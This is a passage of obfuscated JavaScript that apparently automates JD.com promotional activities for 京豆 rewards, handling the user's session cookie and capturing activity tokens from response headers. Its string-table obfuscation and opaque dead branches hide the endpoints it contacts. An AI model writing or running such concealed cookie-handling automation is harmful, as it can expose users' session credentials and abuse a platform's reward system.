_0x156d06===_0x1d9e03;},'ieOwt':_0xb4b4('310'),'nfoxN':_0xb4b4('311'),'BnHjg':function(_0x220f6a,_0x2f3b42,_0x680617){return _0x220f6a(_0x2f3b42,_0x680617);},'hLqJh':_0xb4b4('312')};return new Promise(_0x35f3c5=>{var _0xe35176={'cyskd':function(_0x4ec4ad){return _0x785ca3[_0xb4b4('313')](_0x4ec4ad);},'CEVKg':_0x785ca3[_0xb4b4('314')],'FZZpC':_0x785ca3[_0xb4b4('315')],'gwwxx':function(_0xc5dd4f,_0x273dd2){return _0x785ca3[_0xb4b4('316')](_0xc5dd4f,_0x273dd2);},'IFdwT':_0x785ca3[_0xb4b4('317')],'ZprVK':function(_0x16abee,_0xfea475){return _0x785ca3[_0xb4b4('318')](_0x16abee,_0xfea475);},'pHOjU':_0x785ca3[_0xb4b4('319')],'xMamT':_0x785ca3[_0xb4b4('31a')],'VXcAP':function(_0x418711,_0x286374){return _0x785ca3[_0xb4b4('31b')](_0x418711,_0x286374);},'UswUe':function(_0x4fd882,_0x51eb2f){return _0x785ca3[_0xb4b4('31c')](_0x4fd882,_0x51eb2f);},'MwAhf':_0x785ca3[_0xb4b4('31d')],'CpuQC':_0x785ca3[_0xb4b4('31e')],'EWBPe':_0x785ca3[_0xb4b4('31f')],'EngQq':_0x785ca3[_0xb4b4('320')],'bvGfg':_0x785ca3[_0xb4b4('321')],'lacoO':_0x785ca3[_0xb4b4('322')],'shxtP':_0x785ca3[_0xb4b4('323')],'EKetb':function(_0x133451,_0x828c65){return _0x785ca3[_0xb4b4('324')](_0x133451,_0x828c65);},'qBbLj':_0x785ca3[_0xb4b4('325')],'YFMfi':function(_0x203c42,_0x508bf4){return _0x785ca3[_0xb4b4('326')](_0x203c42,_0x508bf4);},'fAHcY':_0x785ca3[_0xb4b4('327')],'PKKws':function(_0x57128b,_0x57620a){return _0x785ca3[_0xb4b4('328')](_0x57128b,_0x57620a);},'aHyaC':function(_0x39350c,_0x329c67){return _0x785ca3[_0xb4b4('326')](_0x39350c,_0x329c67);},'UxpoE':_0x785ca3[_0xb4b4('329')],'LyoFX':function(_0xb39076,_0xd84e){return _0x785ca3[_0xb4b4('32a')](_0xb39076,_0xd84e);},'hebCX':_0x785ca3[_0xb4b4('32b')],'Bvhgm':function(_0xd56a43,_0x5e66c7){return _0x785ca3[_0xb4b4('32c')](_0xd56a43,_0x5e66c7);},'RRTVI':function(_0x2a4fba,_0xf7137f){return _0x785ca3[_0xb4b4('32d')](_0x2a4fba,_0xf7137f);},'iuGNK':_0x785ca3[_0xb4b4('32e')],'nkKbu':function(_0x25e1cc,_0x400863){return _0x785ca3[_0xb4b4('32f')](_0x25e1cc,_0x400863);},'HvTtV':function(_0x9632dc,_0x5a017e){return _0x785ca3[_0xb4b4('31c')](_0x9632dc,_0x5a017e);},'rntwP':_0x785ca3[_0xb4b4('330')],'FFxQR':_0x785ca3[_0xb4b4('331')]};if(_0x785ca3[_0xb4b4('332')](_0x785ca3[_0xb4b4('333')],_0x785ca3[_0xb4b4('334')])){let _0x3bd7d2='';if(res[_0xb4b4('10b')][_0xb4b4('16c')]){_0x3bd7d2=res[_0xb4b4('10b')][_0xb4b4('16c')]+'京豆';}if(res[_0xb4b4('10b')][_0xb4b4('123')]&&res[_0xb4b4('10b')][_0xb4b4('1b0')]){_0x3bd7d2+=_0xb4b4('122')+res[_0xb4b4('10b')][_0xb4b4('123')]+'京豆';}console[_0xb4b4('7')](_0xb4b4('1b1')+_0x785ca3[_0xb4b4('335')](_0x3bd7d2,_0x785ca3[_0xb4b4('336')]));}else{let _0x404df6=_0xb4b4('337')+($[_0xb4b4('76')]||$[_0xb4b4('79')])+_0xb4b4('338')+$[_0xb4b4('5e')]+_0xb4b4('339');$[_0xb4b4('f9')](_0x785ca3[_0xb4b4('33a')](taskPostUrl,_0x785ca3[_0xb4b4('33b')],_0x404df6),async(_0x336f69,_0x293aed,_0x17e857)=>{if(_0xe35176[_0xb4b4('33c')](_0xe35176[_0xb4b4('33d')],_0xe35176[_0xb4b4('33d')])){try{if(_0xe35176[_0xb4b4('33e')](_0xe35176[_0xb4b4('33f')],_0xe35176[_0xb4b4('340')])){setcookie=setcookies[_0xb4b4('6b')](',');}else{if(_0x336f69){if(_0x293aed[_0xb4b4('100')]&&_0xe35176[_0xb4b4('341')](_0x293aed[_0xb4b4('100')],0x1ed)){if(_0xe35176[_0xb4b4('342')](_0xe35176[_0xb4b4('343')],_0xe35176[_0xb4b4('344')])){if(_0x336f69){console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x336f69));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{}}else{console[_0xb4b4('7')](_0xe35176[_0xb4b4('345')]);$[_0xb4b4('13')]=!![];}}console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x336f69));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('346'));}else{if(_0xe35176[_0xb4b4('342')](_0xe35176[_0xb4b4('347')],_0xe35176[_0xb4b4('347')])){let _0xcf90ef='';let _0x483968='';let _0x265e6b=_0x293aed[_0xe35176[_0xb4b4('348')]][_0xe35176[_0xb4b4('349')]]||_0x293aed[_0xe35176[_0xb4b4('348')]][_0xe35176[_0xb4b4('34a')]]||'';let _0x13b818='';if(_0x265e6b){if(_0xe35176[_0xb4b4('34b')](typeof _0x265e6b,_0xe35176[_0xb4b4('34c')])){_0x13b818=_0x265e6b[_0xb4b4('6b')](',');}else _0x13b818=_0x265e6b;for(let _0x3d684b of _0x13b818){let _0x36bf8b=_0x3d684b[_0xb4b4('6b')](';')[0x0][_0xb4b4('6c')]();if(_0x36bf8b[_0xb4b4('6b')]('=')[0x1]){if(_0xe35176[_0xb4b4('34d')](_0x36bf8b[_0xb4b4('6e')](_0xe35176[_0xb4b4('34e')]),-0x1))lz_jdpin_token=_0xe35176[_0xb4b4('34f')](_0x36bf8b[_0xb4b4('71')](/ /g,''),';');if(_0xe35176[_0xb4b4('350')](_0x36bf8b[_0xb4b4('6e')](_0xe35176[_0xb4b4('351')]),-0x1))_0xcf90ef=_0xe35176[_0xb4b4('352')](_0x36bf8b[_0xb4b4('71')](/ /g,''),';');if(_0xe35176[_0xb4b4('350')](_0x36bf8b[_0xb4b4('6e')](_0xe35176[_0xb4b4('353')]),-0x1))_0x483968=_0xe35176[_0xb4b4('354')](_0x36bf8b[_0xb4b4('71')](/ /g,''),';');}}}if(_0xe35176[_0xb4b4('355')](_0xcf90ef,_0x483968))activityCookie=_0xcf90ef+'\x20'+_0x483968;let _0xf546a=$[_0xb4b4('108')](_0x17e857);if(_0xe35176[_0xb4b4('341')](typeof _0xf546a,_0xe35176[_0xb4b4('34c')])&&_0xf546a[_0xb4b4('10a')]&&_0xe35176[_0xb4b4('342')](_0xf546a[_0xb4b4('10a')],!![])){if(_0xf546a[_0xb4b4('10b')]&&_0xe35176[_0xb4b4('34b')](typeof _0xf546a[_0xb4b4('10b')][_0xb4b4('1a8')],_0xe35176[_0xb4b4('356')]))$[_0xb4b4('5f')]=_0xf546a[_0xb4b4('10b')][_0xb4b4('1a8')];if(_0xf546a[_0xb4b4('10b')]&&_0xe35176[_0xb4b4('34b')](typeof _0xf546a[_0xb4b4('10b')][_0xb4b4('74')],_0xe35176[_0xb4b4('356')]))$[_0xb4b4('74')]=_0xf546a[_0xb4b4('10b')][_0xb4b4('74')];}else if(_0xe35176[_0xb4b4('357')](typeof _0xf546a,_0xe35176[_0xb4b4('34c')])&&_0xf546a[_0xb4b4('11e')]){console[_0xb4b4('7')](_0xb4b4('358')+(_0xf546a[_0xb4b4('11e')]||''));}else{console[_0xb4b4('7')](_0x17e857);}}else{_0xe35176[_0xb4b4('359')](_0x35f3c5);}}}}catch(_0x36e5db){if(_0xe35176[_0xb4b4('35a')](_0xe35176[_0xb4b4('35b')],_0xe35176[_0xb4b4('35c')])){$[_0xb4b4('21')]($[_0xb4b4('22')],_0xe35176[_0xb4b4('35d')],_0xe35176[_0xb4b4('35e')],{'open-url':_0xe35176[_0xb4b4('35e')]});return;}else{$[_0xb4b4('44')](_0x36e5db,_0x293aed);}}finally{_0xe35176[_0xb4b4('359')](_0x35f3c5);}}else{$[_0xb4b4('44')](e,_0x293aed);}});}});}function getSimpleActInfoVo(){var _0x52cde9={'zwBEk':function(_0x5059f1,_0x4ce4a2){return _0x5059f1==_0x4ce4a2;},'BpQMb':_0xb4b4('4d'),'qESZw':function(_0x57229c,_0x41bdfc){return _0x57229c!=_0x41bdfc;},'hylOJ':_0xb4b4('47'),'PzMTD':function(_0x4ce6e7,_0x14dd8c){return _0x4ce6e7>_0x14dd8c;},'sDpUX':_0xb4b4('1be'),'EDWTA':function(_0x5a0844,_0x1d3b97){return _0x5a0844+_0x1d3b97;},'BRRnr':_0xb4b4('48'),'DmJTq':_0xb4b4('49'),'UrWNE':_0xb4b4('4f'),'TNDuw':function(_0x214533,_0x1b27ab){return _0x214533!=_0x1b27ab;},'WoHft':function(_0x359e32,_0x3e5eab){return _0x359e32===_0x3e5eab;},'xrZzZ':_0xb4b4('35f'),'ReJna':_0xb4b4('360'),'niQPh':_0xb4b4('361'),'anHOS':_0xb4b4('362'),'nlQEY':function(_0x18a92e,_0x3e5c73){return _0x18a92e!==_0x3e5c73;},'ParCV':_0xb4b4('363'),'yhbqI':_0xb4b4('364'),'CyEJE':function(_0x2c580d,_0x53748b){return _0x2c580d===_0x53748b;},'zGIDL':_0xb4b4('365'),'mHQsk':_0xb4b4('366'),'hCrsz':function(_0x166d4c,_0x1c3334){return _0x166d4c==_0x1c3334;},'PRVmw':function(_0x54d93f){return _0x54d93f();},'HpmbR':function(_0x3e610b,_0x309c82,_0x169bc0){return _0x3e610b(_0x309c82,_0x169bc0);},'NOQJs':_0xb4b4('367')};return new Promise(_0x38e71c=>{var _0xf44ff={'kydEZ':function(_0x54d4f9,_0x5d8618){return _0x52cde9[_0xb4b4('368')](_0x54d4f9,_0x5d8618);},'rPcFy':_0x52cde9[_0xb4b4('369')],'mVtQS':function(_0x34f786,_0x4b3891){return _0x52cde9[_0xb4b4('36a')](_0x34f786,_0x4b3891);},'yrerz':_0x52cde9[_0xb4b4('36b')],'jMgSU':function(_0x1129be,_0x249f49){return _0x52cde9[_0xb4b4('36c')](_0x1129be,_0x249f49);},'WAveO':_0x52cde9[_0xb4b4('36d')],'lyvsF':function(_0x30b01f,_0x294525){return _0x52cde9[_0xb4b4('36e')](_0x30b01f,_0x294525);},'bQxux':_0x52cde9[_0xb4b4('36f')],'GDxBj':_0x52cde9[_0xb4b4('370')],'ZygmL':_0x52cde9[_0xb4b4('371')],'ncxIj':function(_0x61ca9e,_0x3a2715){return _0x52cde9[_0xb4b4('372')](_0x61ca9e,_0x3a2715);},'toYwY':function(_0x3e9962,_0x147d44){return _0x52cde9[_0xb4b4('373')](_0x3e9962,_0x147d44);},'PQmNl':_0x52cde9[_0xb4b4('374')],'GBZDc':_0x52cde9[_0xb4b4('375')],'enXaD':_0x52cde9[_0xb4b4('376')],'NiJsu':_0x52cde9[_0xb4b4('377')],'fhQhJ':function(_0x2240c9,_0x55ac11){return _0x52cde9[_0xb4b4('378')](_0x2240c9,_0x55ac11);},'VPuBD':_0x52cde9[_0xb4b4('379')],'UAzKr':_0x52cde9[_0xb4b4('37a')],'EWHDE':function(_0x13d2af,_0x592443){return _0x52cde9[_0xb4b4('37b')](_0x13d2af,_0x592443);},'cnntJ':_0x52cde9[_0xb4b4('37c')],'jsBKd':_0x52cde9[_0xb4b4('37d')],'DaifM':function(_0x2a534e,_0x3f4cc4){return _0x52cde9[_0xb4b4('372')](_0x2a534e,_0x3f4cc4);},'oRsiS':function(_0x4bc770,_0x416458){return _0x52cde9[_0xb4b4('372')](_0x4bc770,_0x416458);},'WwtFi':function(_0x4c519f,_0x5048ba){return _0x52cde9[_0xb4b4('37e')](_0x4c519f,_0x5048ba);},'NUQHB':function(_0xe271c3){return _0x52cde9[_0xb4b4('37f')](_0xe271c3);}};let _0x415b16=_0xb4b4('f4')+$[_0xb4b4('31')];$[_0xb4b4('f9')](_0x52cde9[_0xb4b4('380')](taskPostUrl,_0x52cde9[_0xb4b4('381')],_0x415b16),async(_0x34de62,_0x32cd76,_0x5f9151)=>{var _0x44ff4d={'EsvpZ':function(_0x389fcd,_0x1f85d6){return _0xf44ff[_0xb4b4('382')](_0x389fcd,_0x1f85d6);},'BPzep':_0xf44ff[_0xb4b4('383')],'KqWDL':function(_0x1e0f1b,_0x42be69){return _0xf44ff[_0xb4b4('384')](_0x1e0f1b,_0x42be69);},'RAEKV':_0xf44ff[_0xb4b4('385')],'YNBTG':function(_0x1f633e,_0x2619f0){return _0xf44ff[_0xb4b4('386')](_0x1f633e,_0x2619f0);},'bRefU':_0xf44ff[_0xb4b4('387')],'rSsPj':_0xf44ff[_0xb4b4('388')],'YOJps':function(_0x2430a6,_0x53f41e){return _0xf44ff[_0xb4b4('386')](_0x2430a6,_0x53f41e);},'dQUyf':_0xf44ff[_0xb4b4('389')],'OoxfL':_0xf44ff[_0xb4b4('38a')],'TUGui':function(_0xb57797,_0x5cc229){return _0xf44ff[_0xb4b4('38b')](_0xb57797,_0x5cc229);},'VEBds':function(_0xd037ed,_0x185969){return _0xf44ff[_0xb4b4('38b')](_0xd037ed,_0x185969);}};if(_0xf44ff[_0xb4b4('38c')](_0xf44ff[_0xb4b4('38d')],_0xf44ff[_0xb4b4('38e')])){if(_0x44ff4d[_0xb4b4('38f')](typeof setcookies,_0x44ff4d[_0xb4b4('390')])){setcookie=setcookies[_0xb4b4('6b')](',');}else setcookie=setcookies;for(let _0x5e7002 of setcookie){let _0x44b76d=_0x5e7002[_0xb4b4('6b')](';')[0x0][_0xb4b4('6c')]();if(_0x44b76d[_0xb4b4('6b')]('=')[0x1]){if(_0x44ff4d[_0xb4b4('391')](_0x44b76d[_0xb4b4('6e')](_0x44ff4d[_0xb4b4('392')]),-0x1))lz_jdpin_token=_0x44ff4d[_0xb4b4('393')](_0x44b76d[_0xb4b4('71')](/ /g,''),';');if(_0x44ff4d[_0xb4b4('391')](_0x44b76d[_0xb4b4('6e')](_0x44ff4d[_0xb4b4('394')]),-0x1))LZ_TOKEN_KEY=_0x44ff4d[_0xb4b4('393')](_0x44b76d[_0xb4b4('71')](/ /g,''),';');if(_0x44ff4d[_0xb4b4('391')](_0x44b76d[_0xb4b4('6e')](_0x44ff4d[_0xb4b4('395')]),-0x1))LZ_TOKEN_VALUE=_0x44ff4d[_0xb4b4('396')](_0x44b76d[_0xb4b4('71')](/ /g,''),';');}}}else{try{if(_0x34de62){if(_0xf44ff[_0xb4b4('38c')](_0xf44ff[_0xb4b4('397')],_0xf44ff[_0xb4b4('398')])){console[_0xb4b4('7')](_0x44ff4d[_0xb4b4('399')]);$[_0xb4b4('13')]=!![];}else{if(_0x32cd76[_0xb4b4('100')]&&_0xf44ff[_0xb4b4('39a')](_0x32cd76[_0xb4b4('100')],0x1ed)){if(_0xf44ff[_0xb4b4('39b')](_0xf44ff[_0xb4b4('39c')],_0xf44ff[_0xb4b4('39d')])){console[_0xb4b4('7')](_0xf44ff[_0xb4b4('389')]);$[_0xb4b4('13')]=!![];}else{if(_0x44ff4d[_0xb4b4('38f')](typeof res[_0xb4b4('10b')][_0xb4b4('9e')][_0xb4b4('2a7')],_0x44ff4d[_0xb4b4('39e')]))$[_0xb4b4('9e')]=res[_0xb4b4('10b')][_0xb4b4('9e')][_0xb4b4('2a7')];if(_0x44ff4d[_0xb4b4('39f')](typeof res[_0xb4b4('10b')][_0xb4b4('a2')][_0xb4b4('2a7')],_0x44ff4d[_0xb4b4('39e')]))$[_0xb4b4('a2')]=res[_0xb4b4('10b')][_0xb4b4('a2')][_0xb4b4('2a7')];if(_0x44ff4d[_0xb4b4('3a0')](typeof res[_0xb4b4('10b')][_0xb4b4('40')],_0x44ff4d[_0xb4b4('39e')]))$[_0xb4b4('40')]=res[_0xb4b4('10b')][_0xb4b4('40')];}}console[_0xb4b4('7')](''+JSON[_0xb4b4('175')](_0x34de62));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('3a1'));}}else{if(_0xf44ff[_0xb4b4('3a2')](_0xf44ff[_0xb4b4('3a3')],_0xf44ff[_0xb4b4('3a3')])){res=$[_0xb4b4('108')](_0x5f9151);if(_0xf44ff[_0xb4b4('39a')](typeof res,_0xf44ff[_0xb4b4('383')])&&res[_0xb4b4('10a')]&&_0xf44ff[_0xb4b4('3a2')](res[_0xb4b4('10a')],!![])){if(_0xf44ff[_0xb4b4('3a2')](_0xf44ff[_0xb4b4('3a4')],_0xf44ff[_0xb4b4('3a4')])){if(_0xf44ff[_0xb4b4('3a5')](typeof res[_0xb4b4('10b')][_0xb4b4('76')],_0xf44ff[_0xb4b4('38a')]))$[_0xb4b4('76')]=res[_0xb4b4('10b')][_0xb4b4('76')];if(_0xf44ff[_0xb4b4('3a6')](typeof res[_0xb4b4('10b')][_0xb4b4('79')],_0xf44ff[_0xb4b4('38a')]))$[_0xb4b4('79')]=res[_0xb4b4('10b')][_0xb4b4('79')];}else{if(_0x32cd76[_0xb4b4('100')]&&_0xf44ff[_0xb4b4('39a')](_0x32cd76[_0xb4b4('100')],0x1ed)){console[_0xb4b4('7')](_0xf44ff[_0xb4b4('389')]);$[_0xb4b4('13')]=!![];}console[_0xb4b4('7')](''+JSON[_0xb4b4('175')](_0x34de62));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('3a1'));}}else if(_0xf44ff[_0xb4b4('3a7')](typeof res,_0xf44ff[_0xb4b4('383')])&&res[_0xb4b4('11e')]){console[_0xb4b4('7')](_0xb4b4('3a8')+(res[_0xb4b4('11e')]||''));}else{console[_0xb4b4('7')](_0x5f9151);}}else{console[_0xb4b4('7')](_0x5f9151);}}}catch(_0x57ad8b){$[_0xb4b4('44')](_0x57ad8b,_0x32cd76);}finally{_0xf44ff[_0xb4b4('3a9')](_0x38e71c);}}});});}function getToken(){var _0x545ca8={'UeGRR':function(_0x226700,_0x267d3f){return _0x226700!==_0x267d3f;},'xgozE':_0xb4b4('47'),'BRMPq':function(_0x44c5ef,_0x43012e){return _0x44c5ef==_0x43012e;},'lcYYA':function(_0x3ed351,_0x115590){return _0x3ed351==_0x115590;},'eIqWb':function(_0x201f06,_0x4af82f){return _0x201f06!=_0x4af82f;},'fKIiJ':_0xb4b4('4f'),'RxfLf':function(_0x1a5f3b,_0x432668){return _0x1a5f3b===_0x432668;},'Udtcb':_0xb4b4('3aa'),'Quwog':_0xb4b4('3ab'),'JlUWt':_0xb4b4('3ac'),'FoQaD':function(_0x2d6c1a,_0x185938){return _0x2d6c1a===_0x185938;},'insZk':_0xb4b4('3ad'),'gnJNT':function(_0x3dc249){return _0x3dc249();},'vaLIA':_0xb4b4('3ae'),'uUhaL':_0xb4b4('1ec'),'RmWKG':_0xb4b4('1ea')};return new Promise(_0x22efe5=>{var _0x2969b9={'JrEbJ':function(_0x4b4eca,_0x409063){return _0x545ca8[_0xb4b4('3af')](_0x4b4eca,_0x409063);},'cNHvY':_0x545ca8[_0xb4b4('3b0')],'gVawh':function(_0x590bbd,_0x16d523){return _0x545ca8[_0xb4b4('3b1')](_0x590bbd,_0x16d523);},'GFnnT':function(_0x25aa53,_0x24fbb2){return _0x545ca8[_0xb4b4('3b2')](_0x25aa53,_0x24fbb2);},'IeWKL':function(_0x56ef51,_0x1b7804){return _0x545ca8[_0xb4b4('3b3')](_0x56ef51,_0x1b7804);},'xtXWt':_0x545ca8[_0xb4b4('3b4')],'BelTV':function(_0xbd231a,_0x24bebd){return _0x545ca8[_0xb4b4('3b5')](_0xbd231a,_0x24bebd);},'NedgW':_0x545ca8[_0xb4b4('3b6')],'ySURd':_0x545ca8[_0xb4b4('3b7')],'ZcoKF':_0x545ca8[_0xb4b4('3b8')],'ykHit':function(_0x27c5c7,_0x5847eb){return _0x545ca8[_0xb4b4('3b9')](_0x27c5c7,_0x5847eb);},'TGugk':_0x545ca8[_0xb4b4('3ba')],'agXjU':function(_0x367ae9){return _0x545ca8[_0xb4b4('3bb')](_0x367ae9);}};$[_0xb4b4('f9')]({'url':_0xb4b4('3bc'),'body':_0x545ca8[_0xb4b4('3bd')],'headers':{'Content-Type':_0x545ca8[_0xb4b4('3be')],'Cookie':cookie,'Host':_0x545ca8[_0xb4b4('3bf')],'User-Agent':$['UA']},'timeout':0x7530},async(_0x29f549,_0x30ad12,_0x7b56bd)=>{var _0x3b3182={'gxLZm':function(_0x24990e,_0x217b55){return _0x2969b9[_0xb4b4('3c0')](_0x24990e,_0x217b55);},'CYFNY':_0x2969b9[_0xb4b4('3c1')]};try{if(_0x29f549){console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x29f549));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('3c2'));}else{let _0x339949=$[_0xb4b4('108')](_0x7b56bd);if(_0x2969b9[_0xb4b4('3c3')](typeof _0x339949,_0x2969b9[_0xb4b4('3c1')])&&_0x2969b9[_0xb4b4('3c4')](_0x339949[_0xb4b4('3c5')],0x0)){if(_0x2969b9[_0xb4b4('3c6')](typeof _0x339949[_0xb4b4('3c7')],_0x2969b9[_0xb4b4('3c8')]))$[_0xb4b4('5e')]=_0x339949[_0xb4b4('3c7')];}else if(_0x2969b9[_0xb4b4('3c4')](typeof _0x339949,_0x2969b9[_0xb4b4('3c1')])&&_0x339949[_0xb4b4('20a')]){if(_0x2969b9[_0xb4b4('3c9')](_0x2969b9[_0xb4b4('3ca')],_0x2969b9[_0xb4b4('3cb')])){_0x339949=$[_0xb4b4('108')](_0x7b56bd);if(_0x3b3182[_0xb4b4('3cc')](typeof _0x339949,_0x3b3182[_0xb4b4('3cd')])){console[_0xb4b4('7')](_0x7b56bd);}}else{console[_0xb4b4('7')](_0xb4b4('3ce')+(_0x339949[_0xb4b4('20a')]||''));}}else{if(_0x2969b9[_0xb4b4('3c0')](_0x2969b9[_0xb4b4('3cf')],_0x2969b9[_0xb4b4('3cf')])){console[_0xb4b4('7')](_0x339949[_0xb4b4('20a')]);if(_0x339949[_0xb4b4('10a')]&&_0x339949[_0xb4b4('10a')][_0xb4b4('20b')]){for(let _0x3f6ceb of _0x339949[_0xb4b4('10a')][_0xb4b4('20b')][_0xb4b4('20f')]){console[_0xb4b4('7')](_0xb4b4('217')+_0x3f6ceb[_0xb4b4('218')]+_0x3f6ceb[_0xb4b4('219')]+_0x3f6ceb[_0xb4b4('21a')]);}}}else{console[_0xb4b4('7')](_0x7b56bd);}}}}catch(_0xb45723){if(_0x2969b9[_0xb4b4('3d0')](_0x2969b9[_0xb4b4('3d1')],_0x2969b9[_0xb4b4('3d1')])){$[_0xb4b4('44')](_0xb45723,_0x30ad12);}else{console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x29f549));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('3c2'));}}finally{_0x2969b9[_0xb4b4('3d2')](_0x22efe5);}});});}function getCk(){var _0x203f20={'pLish':function(_0x17fdbc,_0x49dfe6){return _0x17fdbc===_0x49dfe6;},'CjdYl':_0xb4b4('3d3'),'xsmBy':function(_0x2fa8ca,_0x1b57a7){return _0x2fa8ca==_0x1b57a7;},'nriqy':_0xb4b4('4d'),'NCnro':_0xb4b4('2da'),'qXsqa':_0xb4b4('2db'),'royRT':_0xb4b4('2dc'),'IsjQw':_0xb4b4('3d4'),'ScdAz':_0xb4b4('3d5'),'ayIKh':function(_0x5884c1,_0x4cc59c){return _0x5884c1!=_0x4cc59c;},'bmDIY':_0xb4b4('47'),'tWaLJ':_0xb4b4('3d6'),'XRQXM':_0xb4b4('3d7'),'zPbIL':_0xb4b4('3d8'),'pwpfh':function(_0x5e6980,_0x31f6f1){return _0x5e6980>_0x31f6f1;},'zHcZK':_0xb4b4('48'),'BoOgq':function(_0x478fc3,_0x48b2b9){return _0x478fc3+_0x48b2b9;},'ugKFg':function(_0x722915,_0x3c9e34){return _0x722915>_0x3c9e34;},'afRPM':_0xb4b4('49'),'hLGst':function(_0x52110f,_0x4a6b5e){return _0x52110f&&_0x4a6b5e;},'zDFbC':function(_0xe80b3b){return _0xe80b3b();},'whpBV':function(_0x15b73a,_0x1c69c8){return _0x15b73a!==_0x1c69c8;},'SZJIv':_0xb4b4('3d9'),'zRDVv':_0xb4b4('3da')};return new Promise(_0x51e23b=>{var _0xcfd24b={'HxdMy':function(_0x5653ca,_0x202fe3){return _0x203f20[_0xb4b4('3db')](_0x5653ca,_0x202fe3);},'osqUp':_0x203f20[_0xb4b4('3dc')],'BaSOQ':function(_0x5d96a3,_0x710e95){return _0x203f20[_0xb4b4('3dd')](_0x5d96a3,_0x710e95);},'Pilri':_0x203f20[_0xb4b4('3de')],'zfFQs':_0x203f20[_0xb4b4('3df')],'BaleA':_0x203f20[_0xb4b4('3e0')],'uxfcK':_0x203f20[_0xb4b4('3e1')],'HsVAr':function(_0x5c1cd2,_0x5e5693){return _0x203f20[_0xb4b4('3db')](_0x5c1cd2,_0x5e5693);},'wPteZ':_0x203f20[_0xb4b4('3e2')],'hyziX':_0x203f20[_0xb4b4('3e3')],'ewzHk':function(_0x5ae9de,_0x5ceb3c){return _0x203f20[_0xb4b4('3e4')](_0x5ae9de,_0x5ceb3c);},'rhFMd':_0x203f20[_0xb4b4('3e5')],'lAftP':function(_0x119896,_0x1cd92c){return _0x203f20[_0xb4b4('3db')](_0x119896,_0x1cd92c);},'lVqpO':_0x203f20[_0xb4b4('3e6')],'CtnRt':_0x203f20[_0xb4b4('3e7')],'ZmZOC':_0x203f20[_0xb4b4('3e8')],'RAXLB':function(_0x200821,_0x547f9a){return _0x203f20[_0xb4b4('3e9')](_0x200821,_0x547f9a);},'DkNBZ':_0x203f20[_0xb4b4('3ea')],'lAYBz':function(_0x5efeb4,_0x2fe4fc){return _0x203f20[_0xb4b4('3eb')](_0x5efeb4,_0x2fe4fc);},'yoEKE':function(_0x34586e,_0x27bae7){return _0x203f20[_0xb4b4('3ec')](_0x34586e,_0x27bae7);},'PHRFB':_0x203f20[_0xb4b4('3ed')],'QKbuk':function(_0x30d34c,_0x4f2f9b){return _0x203f20[_0xb4b4('3ee')](_0x30d34c,_0x4f2f9b);},'xVBVX':function(_0x821ff9){return _0x203f20[_0xb4b4('3ef')](_0x821ff9);}};if(_0x203f20[_0xb4b4('3f0')](_0x203f20[_0xb4b4('3f1')],_0x203f20[_0xb4b4('3f2')])){let _0x28bdfd={'url':_0xb4b4('2ef')+$[_0xb4b4('31')]+_0xb4b4('34')+$[_0xb4b4('2f')],'followRedirect':![],'headers':{'User-Agent':$['UA']},'timeout':0x7530};$[_0xb4b4('1d1')](_0x28bdfd,async(_0x315cb3,_0x3b2181,_0x4d09b0)=>{try{if(_0xcfd24b[_0xb4b4('3f3')](_0xcfd24b[_0xb4b4('3f4')],_0xcfd24b[_0xb4b4('3f4')])){if(_0x315cb3){if(_0x3b2181[_0xb4b4('100')]&&_0xcfd24b[_0xb4b4('3f5')](_0x3b2181[_0xb4b4('100')],0x1ed)){console[_0xb4b4('7')](_0xcfd24b[_0xb4b4('3f6')]);$[_0xb4b4('13')]=!![];}console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x315cb3));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('1a1'));}else{let _0x51431b='';let _0x439121='';let _0x133a0=_0x3b2181[_0xcfd24b[_0xb4b4('3f7')]][_0xcfd24b[_0xb4b4('3f8')]]||_0x3b2181[_0xcfd24b[_0xb4b4('3f7')]][_0xcfd24b[_0xb4b4('3f9')]]||'';let _0x2fb66c='';if(_0x133a0){if(_0xcfd24b[_0xb4b4('3fa')](_0xcfd24b[_0xb4b4('3fb')],_0xcfd24b[_0xb4b4('3fc')])){$[_0xb4b4('44')](e,_0x3b2181);}else{if(_0xcfd24b[_0xb4b4('3fd')](typeof _0x133a0,_0xcfd24b[_0xb4b4('3fe')])){if(_0xcfd24b[_0xb4b4('3ff')](_0xcfd24b[_0xb4b4('400')],_0xcfd24b[_0xb4b4('400')])){_0x2fb66c=_0x133a0[_0xb4b4('6b')](',');}else{console[_0xb4b4('7')](_0xb4b4('3a8')+(res[_0xb4b4('11e')]||''));}}else _0x2fb66c=_0x133a0;for(let _0x3c830e of _0x2fb66c){let _0xe7ae25=_0x3c830e[_0xb4b4('6b')](';')[0x0][_0xb4b4('6c')]();if(_0xe7ae25[_0xb4b4('6b')]('=')[0x1]){if(_0xcfd24b[_0xb4b4('3ff')](_0xcfd24b[_0xb4b4('401')],_0xcfd24b[_0xb4b4('402')])){msg=res[_0xb4b4('10b')][_0xb4b4('16c')]+'京豆';}else{if(_0xcfd24b[_0xb4b4('403')](_0xe7ae25[_0xb4b4('6e')](_0xcfd24b[_0xb4b4('404')]),-0x1))_0x51431b=_0xcfd24b[_0xb4b4('405')](_0xe7ae25[_0xb4b4('71')](/ /g,''),';');if(_0xcfd24b[_0xb4b4('406')](_0xe7ae25[_0xb4b4('6e')](_0xcfd24b[_0xb4b4('407')]),-0x1))_0x439121=_0xcfd24b[_0xb4b4('405')](_0xe7ae25[_0xb4b4('71')](/ /g,''),';');}}}}}if(_0xcfd24b[_0xb4b4('408')](_0x51431b,_0x439121))activityCookie=_0x51431b+'\x20'+_0x439121;}}else{$[_0xb4b4('44')](e,_0x3b2181);}}catch(_0x5824eb){$[_0xb4b4('44')](_0x5824eb,_0x3b2181);}finally{_0xcfd24b[_0xb4b4('409')](_0x51e23b);}});}else{console[_0xb4b4('7')](data);}});}function taskPostUrl(_0xf4c913,_0x61a7d){var 